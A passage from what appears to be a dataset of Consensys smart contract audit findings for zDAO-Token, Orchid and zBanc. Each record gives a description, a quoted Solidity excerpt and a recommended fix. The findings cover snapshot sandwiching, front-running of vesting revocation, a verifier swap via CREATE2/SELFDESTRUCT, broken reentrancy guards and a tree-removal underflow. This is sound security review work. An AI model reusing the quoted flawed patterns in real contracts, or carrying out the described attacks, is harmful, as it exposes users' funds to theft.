Resolution Addressed with zer0-os/zDAO-Token@81946d4 by exposing the _snapshot() method to a dedicated snapshot role (likely to be a DAO) and the owner of the contract. We would like to note that we informed the client that depending on how the snapshot method is used and how predictably snapshots are consumed this might open up a frontrunning vector where someone observing that a _snapshot() is about to be taken might sandwich the snapshot call, accumulate a lot of stake (via 2nd markets, lending platforms), and returning it right after it s been taken. The risk of losing funds may be rather low (especially if performed by a miner) and the benefit from a DAO proposal using this snapshot might outweigh it. It is still recommended to increase the number of snapshots taken or take them on a regular basis (e.g. with every first transaction to the contract in a block) to make it harder to sandwich the snapshot taking. Description According to the zDAO Token specification the DAO token should implement a snapshot functionality to allow it being used for DAO governance votings. Any transfer, mint, or burn operation should result in a snapshot of the token balances of involved users being taken. While the corresponding functionality is implemented and appears to update balances for snapshots, _snapshot() is never called, therefore, the snapshot is never taken. e.g. attempting to call balanceOfAt always results in an error as no snapshot is available. zDAO-Token/contracts/ZeroDAOToken.sol:L12-L17 contract ZeroDAOToken is OwnableUpgradeable, ERC20Upgradeable, ERC20PausableUpgradeable, ERC20SnapshotUpgradeable zDAO-Token/contracts/ZeroDAOToken.sol:L83-L83 _updateAccountSnapshot(sender); Note that this is an explicit requirement as per specification but unit tests do not seem to attempt calls to balanceOfAt at all. Recommendation Actually, take a snapshot by calling _snapshot() once per block when executing the first transaction in a new block. Follow the openzeppeling documentation for ERC20Snapshot. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zdao-token/"}, {"title": "6.2 zDAO-Token - Revoking vesting tokens right before cliff period expiration might be delayed/front-runned ", "body": " Description The owner of TokenVesting contract has the right to revoke the vesting of tokens for any beneficiary. By doing so, the amount of tokens that are already vested and weren t released yet are being transferred to the beneficiary, and the rest are being transferred to the owner. The beneficiary is expected to receive zero tokens in case the revocation transaction was executed before the cliff period is over. Although unlikely, the beneficiary may front run this revocation transaction by delaying the revocation (and) or inserting a release transaction right before that, thus withdrawing the vested amount. zDAO-Token/contracts/TokenVesting.sol:L69-L109 function release(address beneficiary) public { uint256 unreleased = getReleasableAmount(beneficiary); require(unreleased > 0, \"Nothing to release\"); TokenAward storage award = getTokenAwardStorage(beneficiary); award.released += unreleased; targetToken.safeTransfer(beneficiary, unreleased); emit Released(beneficiary, unreleased); /** @notice Allows the owner to revoke the vesting. Tokens already vested are transfered to the beneficiary, the rest are returned to the owner. @param beneficiary Who the tokens are being released to / function revoke(address beneficiary) public onlyOwner { TokenAward storage award = getTokenAwardStorage(beneficiary); require(award.revocable, \"Cannot be revoked\"); require(!award.revoked, \"Already revoked\"); // Figure out how many tokens were owed up until revocation uint256 unreleased = getReleasableAmount(beneficiary); award.released += unreleased; uint256 refund = award.amount - award.released; // Mark award as revoked award.revoked = true; award.amount = award.released; // Transfer owed vested tokens to beneficiary targetToken.safeTransfer(beneficiary, unreleased); // Transfer unvested tokens to owner (revoked amount) targetToken.safeTransfer(owner(), refund); emit Released(beneficiary, unreleased); emit Revoked(beneficiary, refund); Recommendation The issue described above is possible, but very unlikely. However, the TokenVesting owner should be aware of that, and make sure not to revoke vested tokens closely to cliff period ending. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zdao-token/"}, {"title": "6.3 zDAO-Token - Vested tokens revocation depends on claiming state ", "body": " Description Examples zDAO-Token/contracts/TokenVesting.sol:L86-L109 function revoke(address beneficiary) public onlyOwner { TokenAward storage award = getTokenAwardStorage(beneficiary); require(award.revocable, \"Cannot be revoked\"); require(!award.revoked, \"Already revoked\"); // Figure out how many tokens were owed up until revocation uint256 unreleased = getReleasableAmount(beneficiary); award.released += unreleased; uint256 refund = award.amount - award.released; // Mark award as revoked award.revoked = true; award.amount = award.released; // Transfer owed vested tokens to beneficiary targetToken.safeTransfer(beneficiary, unreleased); // Transfer unvested tokens to owner (revoked amount) targetToken.safeTransfer(owner(), refund); emit Released(beneficiary, unreleased); emit Revoked(beneficiary, refund); Recommendation Make sure that the potential owner of a TokenVesting contract is aware of this potential issue, and has the required processes in place to handle it. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zdao-token/"}, {"title": "6.4 zDAO-Token - Total amount of claimable tokens is not verifiable ", "body": " Description Since both MerkleTokenVesting and MerkleTokenAirdrop use an off-chain Merkle tree to store the accounts that can claim tokens from the underlying contract, there is no way for a user to verify whether the contract token balance is sufficient for all claimers. Recommendation Make sure that users are aware of this trust assumption. 7 Document Change Log ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zdao-token/"}, {"title": "1.0", "body": " 2021-05-20 Initial report ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zdao-token/"}, {"title": "1.1", "body": " 2021-08-23 Update: added section 3 - WILD Token ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zdao-token/"}, {"title": "6.1 Staking node can be inappropriately removed from the tree ", "body": " Resolution This is fixed in OrchidProtocol/orchid@8c586f2. Description The following code in OrchidDirectory.pull() is responsible for reattaching a child from a removed tree node: code/dir-ethereum/directory.sol:L275-L281 if (name(stake.left_) == key) { current.right_ = stake.right_; current.after_ = stake.after_; } else { current.left_ = stake.left_; current.before_ = stake.before_; The condition name(stake.left_) == key can never hold because key is the key for stake itself. The result of this bug is somewhat catastrophic. The child is not reattached, but it still has a link to the rest of the tree via its parent_ pointer. This means reducing the stake of that node can underflow the ancestors before/after amounts, leading to improper random selection or failing altogether. The node replacing the removed node also ends up with itself as a child, which violates the basic tree structure and is again likely to produce integer underflows and other failures. Recommendation As a simple fix, use if(name(stake.left_) == name(last)) as already suggested by the development team when this bug was first shared. Two suggestions for better long-term fixes: Use a strict interface for tree operations. It should be impossible to update a node s parent without simultaneously updating that parent s child pointer. As suggested in (https://github.com/ConsenSys/orchid-audit-2019-10/issues/7), simplify the logic in pull() to avoid this logic altogether. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "6.2 Verifiers need to be pure, but it s very difficult to validate pureness ", "body": " Resolution This is addressed in OrchidProtocol/orchid@1b405fb. With this change, the contract checks that the verifier s code doesn t change (via extcodehash). If the code does change, the contract fails open by skipping the verifier and allowing all payments. Because the code can no longer change, the server can use the (relatively) simple method of executing the contract locally and only allowing a whitelist of opcodes that don t depend on or modify state. The server already has mitigations for denial of service attacks, including limiting the amount of computing resources that can be used for validating code. Description After the initial audit, a verifier was introduced to the OrchidLottery code. Each Pot can have an associated OrchidVerifier. This is a contract with a good() function that accepts three parameters: code/lot-ethereum/lottery.sol:L28 function good(bytes calldata shared, address target, bytes calldata receipt) external pure returns (bool); The verifier returns a boolean indicating whether a given micropayment should be allowed or not. An example use case is a verifier that only allows certain target addresses to be paid. In this case, shared (a single value for a given Pot) is a merkle root, target is (as always) the address being paid, and receipt (specified by the payment recipient) is a merkle proof that the target address is within the merkle tree with the given root. Unfortunately, this simple scheme is insufficient. As a simple example, a verifier contract could be created with the CREATE2 opcode. It could be demonstrated that it reads no state when good() is called. Then the contract could be destroyed by calling a function that performs a SELFDESTRUCT, and it could be replaced via another CREATE2 call with different code. This could be mitigated by rejecting any verifier contract that contains the SELFDESTRUCT opcode, but this would also catch harmless occurrences of that particular byte. https://gist.github.com/Arachnid/e8f0638dc9f5687ff8170a95c47eac1e attempts to find SELFDESTRUCT opcodes but fails to account for tricks where the SELFDESTRUCT appears to be data but can actually be executed. (See Recmo s comment.) In general, this approach is difficult to get right and probably requires full data flow analysis to be correct. Another possible mitigation is to use a factory contract to deploy the verifiers, guaranteeing that they re not created with CREATE2. This should render SELFDESTRUCT harmless, but there s no guarantee that future forks won t introduce new vectors here. Finally, requiring servers to implement potentially complex contract validation opens up potential for denial-of-service attacks. A server will have to implement mitigations to prevent repeatedly checking the same verifier or spending inordinate resources checking a maliciously crafted contract (e.g. one with high branching factors). Recommendation The verifiers add quite a bit of complexity and risk. We recommend looking for an alternative approach, such as including a small number of vetted verifiers (e.g. a merkle proof verifier) or having servers use their own allow list for verifiers that they trust. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "6.3 Simplify the logic in OrchidDirectory.pull() ", "body": " Resolution This was addressed in the following commits: OrchidProtocol/orchid@0ad2484 OrchidProtocol/orchid@8b3e821 OrchidProtocol/orchid@affbf93 OrchidProtocol/orchid@e506c0f OrchidProtocol/orchid@f864e60 Description pull() is the most complex function in OrchidDirectory, due to its need to handle removing a node altogether when its stake amount reaches 0. The current logic for removing an interior node is roughly this: Given a node to be remove called old, walk down the tree, always stepping towards the heavier (in terms of total stake) subtree, until you reach a leaf node (called target). If target is a direct child of old: Set target to be a child of old.parent. Move the remaining child of old to be under target. If target is not a direct child of old: Swap target and old in the tree. Walk up the tree from old (now a leaf node) to target to subtract target s staked amount from the nodes in between. Detach old from the tree. The code for this is fairly complex, and one serious bug (issue 6.1) was identified in this code. This logic can be simplified by combining the two cases (direct child and not) and thinking of it as roughly a two-step operation of detach leaf node and replace interior node with leaf node . Given a node to be removed called old, walk the tree to find target as before. Walk back up to old, subtracting target s staked amount from the nodes in between. Detach target from the tree. Replace old with target. (Note that in the code, old above is called stake and target is calledcurrent.) Recommendation Replace this code: code/dir-ethereum/directory.sol:L266-L297 bytes32 direct = current.parent_; copy(pivot, last); current.parent_ = stake.parent_; if (direct == key) { Primary storage other = stake.before_ > stake.after_ ? stake.right_ : stake.left_; if (!nope(other)) stakes_[name(other)].parent_ = name(last); if (name(stake.left_) == key) { current.right_ = stake.right_; current.after_ = stake.after_; } else { current.left_ = stake.left_; current.before_ = stake.before_; } else { if (!nope(stake.left_)) stakes_[name(stake.left_)].parent_ = name(last); if (!nope(stake.right_)) stakes_[name(stake.right_)].parent_ = name(last); current.right_ = stake.right_; current.after_ = stake.after_; current.left_ = stake.left_; current.before_ = stake.before_; stake.parent_ = direct; copy(last, staker, stakee); step(key, stake, -current.amount_, current.parent_); kill(last); with something like this code: // Remember this key so we can update `pivot` later bytes32 currentKey = name(last); // Remove `current` from the subtree rooted at `stake` step(currentKey, current, -current.amount_, stake.parent_); kill(last); // Replace `stake` with `current` current.left_ = stake.left_; if (!nope(current.left_)) stakes_[name(current.left_)].parent_ = currentKey; current.right_ = stake.right_; if (!nope(current.right_)) stakes_[name(current.right_)].parent_ = currentKey; current.before_ = stake.before_; current.after_ = stake.after_; current.parent_ = stake.parent_; pivot.value_ = currentKey; // `pivot` was parent's pointer to `stake` ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "6.4 Remove unnecessary address payable ", "body": " Resolution The development team decided to leave this as-is. Description The address payable type is only needed for transferring ether to an address. The OrchidDirectory and OrchidLottery contracts work with tokens, not ether, so there s no need for any parameters to be of type address payable. Recommendation Use simply address instead of address payable everywhere. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "6.5 Use consistent staker, stakee ordering in OrchidDirectory ", "body": " Resolution This is fixed in OrchidProtocol/orchid@1cfef88. Description code/dir-ethereum/directory.sol:L156 function lift(bytes32 key, Stake storage stake, uint128 amount, address stakee, address staker) private { OrchidDirectory.lift() has a parameter stakee that precedes staker, while the rest of the code always places staker first. Because Solidity doesn t have named parameters, it s a good idea to use a consistent ordering to avoid mistakes. Recommendation Switch lift() to follow the staker then stakee ordering convention of the rest of the contract. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "6.6 Use more descriptive function and variable names ", "body": " Resolution This issue is about readability. Even though the audit team firmly believes that improved readability would increase trust in Orchid from its clients, this is not a correctness issue. The Orchid team believes that making this change, particularly this late in their development cycle, would be too risky. The development team is very familiar with the current terminology, and bugs may accidentally be introduced with the change. Description Throughout OrchidDirectory and OrchidLottery, function and variable names are quite obscure. This makes it harder for a reader to understand the code. Examples OrchidDirectory: heft() returns the total staked for a given stakee (perhaps totalForStakee()) Primary is a pointer to a tree node (perhaps NodePointer), and its member value_ could be named key name() gives the key for a given (staker, stakee) pair or a Primary (perhaps getKey()) copy() writes a key to a node pointer (probably better to remove this and just do pointer.key = ...) kill() sets a node pointer to zero (probably better to just remove this and use delete pointer) nope() checks whether a node pointer exists (probably better to just do pointer.key == 0) have() returns the total number of staked tokens (perhaps totalStaked) scan() finds a node, given a random 128-bit number (perhaps selectNode(uint128 random)) turn() is only used in one place and is likely better just inlined step() walks up a subtree, adjusting before/after amounts along the way (perhaps propagate() or bubbleUp()) lift() updates the stake for a given node and then calls step() (perhaps updateNodeStake()) more() is really just the body for push(), so it should probably be moved inside push() instead push() is the external method for staking (perhaps increaseStake() or just stake()) wait() increases the withdrawal delay for the sender s stake for a given stakee (increaseDelay()) Pending could be called PendingWithdrawal take() could be called completeWithdrawal() stop() could be called cancelWithdrawal() delay_ could be withdrawalDelay pull() decreases stake and establishes a pending withdrawal (perhaps decreaseStake(), unstake() or startWithdrawal()) Within pull(): pivot could be pointerToStake last could be pointerToLeaf current could be leaf direct could be leafParent other could be sibling OrchidLottery: Pot could perhaps be Fund send() just emits an Update event (perhaps log() or logUpdate()) Track is a struct that keeps track of a ticket that has already been redeemed to prevent replay (perhaps RedeemedTicket) kill() is overloaded to delete funds and used tickets (perhaps deleteFund() and forgetTicket()) take() could be called transferTokens() grab() redeems a winning ticket (perhaps redeem() or redeemTicket()) give() and pull() both transfer tokens from a given Pot, but one is used by the signer and one by the funder. Perhaps better would be a single transferFromPot(address funder, address signer, address target, uint128 amount) with require(msg.sender == funder || msg.sender == signer). warn() could be startWithdrawal() lock() could be cancelWithdrawal() pull() could be completeWithdrawal() Recommendation Consider using longer, more descriptive names to make it easier to understand the code. Where there s no particularly good name, add comments explaining the meaning. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "6.7 In OrchidDirectory.step() and OrchidDirectory.lift(), use a signed amount ", "body": " Resolution The variables in question are now Description step() and lift() both accept a uint128 parameter called amount. This amount is added to various struct fields, which are also of type uint128. The contract intentionally underflows this amount to represent negative numbers. This is roughly equivalent to using a signed integer, except that: Unsigned integers aren t sign extended when they re cast to a larger integer type, so care must be taken to avoid this. Tools that look for integer overflow/underflow will detect this possibility as a bug. It s then hard to determine which overflows are intentional and which are not. Examples code/dir-ethereum/directory.sol:L247 lift(key, stake, -amount, stakee, staker); code/dir-ethereum/directory.sol:L296 step(key, stake, -current.amount_, current.parent_); Recommendation Use int128 instead, and ensure that amounts can never exceed the maximum int128 value. (This is trivially achieved by limiting the total number of tokens that can exist.) ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "6.8 Document that math in OrchidDirectory assumes a maximum number of tokens ", "body": " Resolution This is fixed in OrchidProtocol/orchid@f2efe42 by using Description OrchidDirectory relies on mathematical operations being unable to overflow due to the particular ERC20 token being used being capped at less than 2**128. Examples The following code in step() assumes that no before/after amount can reach 2**128: code/dir-ethereum/directory.sol:L145-L148 if (name(stake.left_) == key) stake.before_ += amount; else stake.after_ += amount; The following code in lift() assumes that no staked amount (or total amount for a given stakee) can reach 2**128: code/dir-ethereum/directory.sol:L157-L164 uint128 local = stake.amount_; local += amount; stake.amount_ = local; emit Update(staker, stakee, local); uint128 global = stakees_[stakee].amount_; global += amount; stakees_[stakee].amount_ = global; The following code in have() assumes that the total amount staked cannot reach 2**128: code/dir-ethereum/directory.sol:L103 return stake.before_ + stake.after_ + stake.amount_; Recommendation Document this assumption in the form of code comments where potential overflows exist. Consider also asserting the ERC20 token s total supply in the constructor to attempt to block using a token that violates this constraint and/or checking in push() that the total amount staked will remain less than 2**128. This recommendation is in line with the mitigation proposed for issue 6.7. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "6.9 Unneeded named return parameter ", "body": " Resolution Fixed in OrchidProtocol/orchid@21d56d5 Description In the heft function in the OrchidDirectory contract, there is an unused and unneeded named return parameter (that actually instantiates a new variable in memory which is not used). Remediation Change returns (uint128 amount) to returns (uint128). ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "6.10 Improve function visibility ", "body": " Resolution Fixed in OrchidProtocol/orchid@68fb26a Description The following methods are not called internally in the token contract and visibility can, therefore, be restricted to external rather than public. This is more gas efficient because less code is emitted and data does not need to be copied into memory. It also makes functions a bit simpler to reason about because there s no need to worry about the possibility of internal calls. OrchidDirectory.heft() OrchidDirectory.scan() OrchidDirectory.push() OrchidDirectory.wait() OrchidDirectory.take() OrchidDirectory.stop() OrchidDirectory.pull() OrchidLocation.move() OrchidLocation.look() OrchidLottery.size() OrchidLottery.keys() OrchidLottery.seek() OrchidLottery.look() OrchidLottery.push() OrchidLottery.move() OrchidLottery.kill() OrchidLottery.grab() OrchidLottery.pull() OrchidLottery.warn() OrchidLottery.lock() OrchidLottery.pull() OrchidCurator.list() OrchidCurator.good() OrchidUntrusted.good() Recommendation Change visibility of these methods to external. 7 Tool-Based Analysis Several tools were used to perform automated analysis of the reviewed contracts. These issues were reviewed by the audit team, and relevant issues are listed in the Issue Details section. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "7.1 MythX", "body": " MythX is a security analysis API for Ethereum smart contracts. It performs multiple types of analysis, including fuzzing and symbolic execution, to detect many common vulnerability types. The tool was used for automated vulnerability discovery for all audited contracts and libraries. More details on MythX can be found at mythx.io. The output of the MythX Pro vulnerability scan was reviewed by the audit team and no vulnerabilities were identified as part of the process. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "7.2 Ethlint", "body": " Ethlint is an open source project for linting Solidity code. Only security-related issues were reviewed by the audit team. Below is the raw output of the Ethlint vulnerability scan: contracts/curator.sol 35:8 warning Provide an error message for require(). error-reason contracts/directory.sol 107:8 warning Provide an error message for require(). error-reason 141:4 error \"step\": Avoid assigning to function parameters. security/no-assign-params 141:4 error \"step\": Avoid assigning to function parameters. security/no-assign-params 176:8 warning Provide an error message for require(). error-reason 180:12 warning Provide an error message for require(). error-reason 202:8 warning Provide an error message for require(). error-reason 209:8 warning Provide an error message for require(). error-reason 211:8 warning Provide an error message for require(). error-reason 226:8 warning Provide an error message for require(). error-reason 226:35 warning Avoid using 'block.timestamp'. security/no-block-members 228:8 warning Provide an error message for require(). error-reason 233:8 warning Provide an error message for require(). error-reason 233:35 warning Avoid using 'block.timestamp'. security/no-block-members 244:8 warning Provide an error message for require(). error-reason 245:8 warning Provide an error message for require(). error-reason 305:8 warning Provide an error message for require(). error-reason 306:26 warning Avoid using 'block.timestamp'. security/no-block-members contracts/location.sol 38:24 warning Avoid using 'block.timestamp'. security/no-block-members contracts/lottery.sol 66:8 warning Provide an error message for require(). error-reason 104:8 warning Provide an error message for require(). error-reason 111:8 warning Provide an error message for require(). error-reason 117:8 warning Provide an error message for require(). error-reason 131:8 warning Provide an error message for require(). error-reason 131:32 warning Avoid using 'block.timestamp'. security/no-block-members 140:4 error \"take\": Avoid assigning to function parameters. security/no-assign-params 153:12 warning Provide an error message for require(). error-reason 156:4 error \"grab\": Avoid assigning to function parameters. security/no-assign-params 156:4 warning Line exceeds the limit of 145 characters max-len 157:8 warning Provide an error message for require(). error-reason 158:8 warning Provide an error message for require(). error-reason 163:12 error Only use indent of 8 spaces. indentation 165:12 error Only use indent of 8 spaces. indentation 166:12 error Only use indent of 8 spaces. indentation 167:12 error Only use indent of 8 spaces. indentation 167:12 warning Provide an error message for require(). error-reason 167:28 warning Avoid using 'block.timestamp'. security/no-block-members 168:12 error Only use indent of 8 spaces. indentation 168:12 warning Provide an error message for require(). error-reason 169:12 error Only use indent of 8 spaces. indentation 171:12 error Only use indent of 8 spaces. indentation 172:0 error Only use indent of 8 spaces. indentation 175:20 warning Avoid using 'block.timestamp'. security/no-block-members 176:64 warning Avoid using 'block.timestamp'. security/no-block-members 182:8 warning Provide an error message for require(). error-reason 200:22 warning Avoid using 'block.timestamp'. security/no-block-members 214:8 warning Provide an error message for require(). error-reason 215:8 warning Provide an error message for require(). error-reason 215:31 warning Avoid using 'block.timestamp'. security/no-block-members 219:8 warning Provide an error message for require(). error-reason \u2716 12 errors, 38 warnings found. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "7.3 Surya", "body": " Surya is an utility tool for smart contract systems. It provides a number of visual outputs and information about structure of smart contracts. It also supports querying the function call graph in multiple ways to aid in the manual inspection and control flow analysis of contracts. Below is a complete list of functions with their visibility and modifiers: 8 S\u016brya s Description Report ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "8.1 Files Description Table", "body": " contracts/curator.sol 5ea6c8374cec289bcf4dfe1adb3bb157ca9bab74 contracts/directory.sol 811ab3b049d570c4236ee965d76ed1a9f5cb929e contracts/location.sol 1ea56960f41ca3a299c4fd35fab9ef1fdd494d5b contracts/lottery.sol e63f3c86b3abba57d0a7e3ca36436bfee4d9ac1b contracts/token.sol faf15f117ac160641adfe56c2a01ad14bff931f3 ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "8.2 Contracts Description Table", "body": " Function Name Visibility Mutability Modifiers OrchidCurator Implementation Public list Public NO good Public NO OrchidUntrusted Implementation good Public NO IOrchidDirectory Interface have External NO OrchidDirectory Implementation IOrchidDirectory Public heft Public NO name Public NO name Private \ud83d\udd10 copy Private \ud83d\udd10 copy Private \ud83d\udd10 kill Private \ud83d\udd10 nope Private \ud83d\udd10 have Public NO scan Public NO turn Private \ud83d\udd10 step Private \ud83d\udd10 lift Private \ud83d\udd10 more Private \ud83d\udd10 push Public NO wait Public NO take Public NO stop Public NO pull Public NO OrchidLocation Implementation move Public NO look Public NO OrchidLottery Implementation Public send Private \ud83d\udd10 find Private \ud83d\udd10 kill Private \ud83d\udd10 size Public NO keys Public NO seek Public NO page Public NO look Public NO push Public NO move Public NO kill Private \ud83d\udd10 kill Public NO take Private \ud83d\udd10 grab Public NO give Public NO pull Public NO warn Public NO lock Public NO pull Public NO OrchidToken Implementation ERC20, ERC20Detailed Public ERC20Detailed ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "8.3 Legend", "body": " Function can modify state Function is payable ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/orchid-network-protocol/"}, {"title": "5.1 zBanc - DynamicLiquidTokenConverter ineffective reentrancy protection ", "body": " Resolution Fixed with zer0-os/zBanc@ff3d913 by following the recommendation. Description reduceWeight calls _protected() in an attempt to protect from reentrant calls but this check is insufficient as it will only check for the locked statevar but never set it. A potential for direct reentrancy might be present when an erc-777 token is used as reserve. It is assumed that the developer actually wanted to use the protected modifier that sets the lock before continuing with the method. Examples zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L123-L128 function reduceWeight(IERC20Token _reserveToken) public validReserve(_reserveToken) ownerOnly _protected(); contract ReentrancyGuard { // true while protected code is being executed, false otherwise bool private locked = false; /** @dev ensures instantiation only by sub-contracts / constructor() internal {} // protects a function against reentrancy attacks modifier protected() { _protected(); locked = true; _; locked = false; // error message binary size optimization function _protected() internal view { require(!locked, \"ERR_REENTRANCY\"); Recommendation To mitigate potential attack vectors from reentrant calls remove the call to _protected() and decorate the function with protected instead. This will properly set the lock before executing the function body rejecting reentrant calls. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.2 zBanc - DynamicLiquidTokenConverter input validation ", "body": " Resolution fixed with zer0-os/zBanc@ff3d913 by checking that the provided values are at least 0% < p <= 100%. Description Check that the value in PPM is within expected bounds before updating system settings that may lead to functionality not working correctly. For example, setting out-of-bounds values for stepWeight or setMinimumWeight may make calls to reduceWeight fail. These values are usually set in the beginning of the lifecycle of the contract and misconfiguration may stay unnoticed until trying to reduce the weights. The settings can be fixed, however, by setting the contract inactive and updating it with valid settings. Setting the contract to inactive may temporarily interrupt the normal operation of the contract which may be unfavorable. Examples Both functions allow the full uint32 range to be used, which, interpreted as PPM would range from 0% to 4.294,967295% zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L75-L84 function setMinimumWeight(uint32 _minimumWeight) public ownerOnly inactive //require(_minimumWeight > 0, \"Min weight 0\"); //_validReserveWeight(_minimumWeight); minimumWeight = _minimumWeight; emit MinimumWeightUpdated(_minimumWeight); zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L92-L101 function setStepWeight(uint32 _stepWeight) public ownerOnly inactive //require(_stepWeight > 0, \"Step weight 0\"); //_validReserveWeight(_stepWeight); stepWeight = _stepWeight; emit StepWeightUpdated(_stepWeight); Recommendation Reintroduce the checks for _validReserveWeight to check that a percent value denoted in PPM is within valid bounds _weight > 0 && _weight <= PPM_RESOLUTION. There is no need to separately check for the value to be >0 as this is already ensured by _validReserveWeight. Note that there is still room for misconfiguration (step size too high, min-step too high), however, this would at least allow to catch obviously wrong and often erroneously passed parameters early. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.3 zBanc - DynamicLiquidTokenConverter introduces breaking changes to the underlying bancorprotocol base ", "body": " Resolution Addressed with zer0-os/zBanc@ff3d913 by removing the modifications in favor of surgical and more simple changes, keeping the factory and upgrade components as close as possible to the forked bancor contracts. Additionally, the client provided the following statement: ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.14 Removed excess functionality from factory and restored the bancor factory pattern.", "body": " Description Introducing major changes to the complex underlying smart contract system that zBanc was forked from(bancorprotocol) may result in unnecessary complexity to be added. Complexity usually increases the attack surface and potentially introduces software misbehavior. Therefore, it is recommended to focus on reducing the changes to the base system as much as possible and comply with the interfaces and processes of the system instead of introducing diverging behavior. For example, DynamicLiquidTokenConverterFactory does not implement the ITypedConverterFactory while other converters do. Furthermore, this interface and the behavior may be expected to only perform certain tasks e.g. when called during an upgrade process. Not adhering to the base systems expectations may result in parts of the system failing to function for the new convertertype. Changes introduced to accommodate the custom behavior/interfaces may result in parts of the system failing to operate with existing converters. This risk is best to be avoided. In the case of DynamicLiquidTokenConverterFactory the interface is imported but not implemented at all (unused import). The reason for this is likely because the function createConverter in DynamicLiquidTokenConverterFactory does not adhere to the bancor-provided interface anymore as it is doing way more than just creating and returning a new converter. This can create problems when trying to upgrade the converter as the upgraded expected the shared interface to be exposed unless the update mechanisms are modified as well. In general, the factories createConverter method appears to perform more tasks than comparable type factories. It is questionable if this is needed but may be required by the design of the system. We would, however, highly recommend to not diverge from how other converters are instantiated unless it is required to provide additional security guarantees (i.e. the token was instantiated by the factory and is therefore trusted). The ConverterUpgrader changed in a way that it now can only work with the DynamicLiquidTokenconverter instead of the more generalized IConverter interface. This probably breaks the update for all other converter types in the system. The severity is estimated to be medium based on the fact that the development team seems to be aware of the breaking changes but the direction of the design of the system was not yet decided. Examples unused import zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverterFactory.sol:L6-L6 import \"../../interfaces/ITypedConverterFactory.sol\"; converterType should be external as it is not called from within the same or inherited contracts zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverterFactory.sol:L144-L146 function converterType() public pure returns (uint16) { return 3; createToken can be external and is actually creating a token and converter that is using that token (the converter is not returned)(consider renaming to createTokenAndConverter) zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverterFactory.sol:L54-L74 DSToken token = new DSToken(_name, _symbol, _decimals); token.issue(msg.sender, _initialSupply); emit NewToken(token); createConverter( token, _reserveToken, _reserveWeight, _reserveBalance, _registry, _maxConversionFee, _minimumWeight, _stepWeight, _marketCapThreshold ); return token; the upgrade interface changed and now requires the converter to be a DynamicLiquidTokenConverter. Other converters may potentially fail to upgrade unless they implement the called interfaces. zBanc/solidity/contracts/converter/ConverterUpgrader.sol:L96-L122 function upgradeOld(DynamicLiquidTokenConverter _converter, bytes32 _version) public { _version; DynamicLiquidTokenConverter converter = DynamicLiquidTokenConverter(_converter); address prevOwner = converter.owner(); acceptConverterOwnership(converter); DynamicLiquidTokenConverter newConverter = createConverter(converter); copyReserves(converter, newConverter); copyConversionFee(converter, newConverter); transferReserveBalances(converter, newConverter); IConverterAnchor anchor = converter.token(); // get the activation status before it's being invalidated bool activate = isV28OrHigherConverter(converter) && converter.isActive(); if (anchor.owner() == address(converter)) { converter.transferTokenOwnership(address(newConverter)); newConverter.acceptAnchorOwnership(); handleTypeSpecificData(converter, newConverter, activate); converter.transferOwnership(prevOwner); newConverter.transferOwnership(prevOwner); emit ConverterUpgrade(address(converter), address(newConverter)); solidity/contracts/converter/ConverterUpgrader.sol:L95-L101 function upgradeOld( IConverter _converter, bytes32 /* _version */ ) public { // the upgrader doesn't require the version for older converters upgrade(_converter, 0); Recommendation It is a fundamental design decision to either follow the bancorsystems converter API or diverge into a more customized system with a different design, functionality, or even security assumptions. From the current documentation, it is unclear which way the development team wants 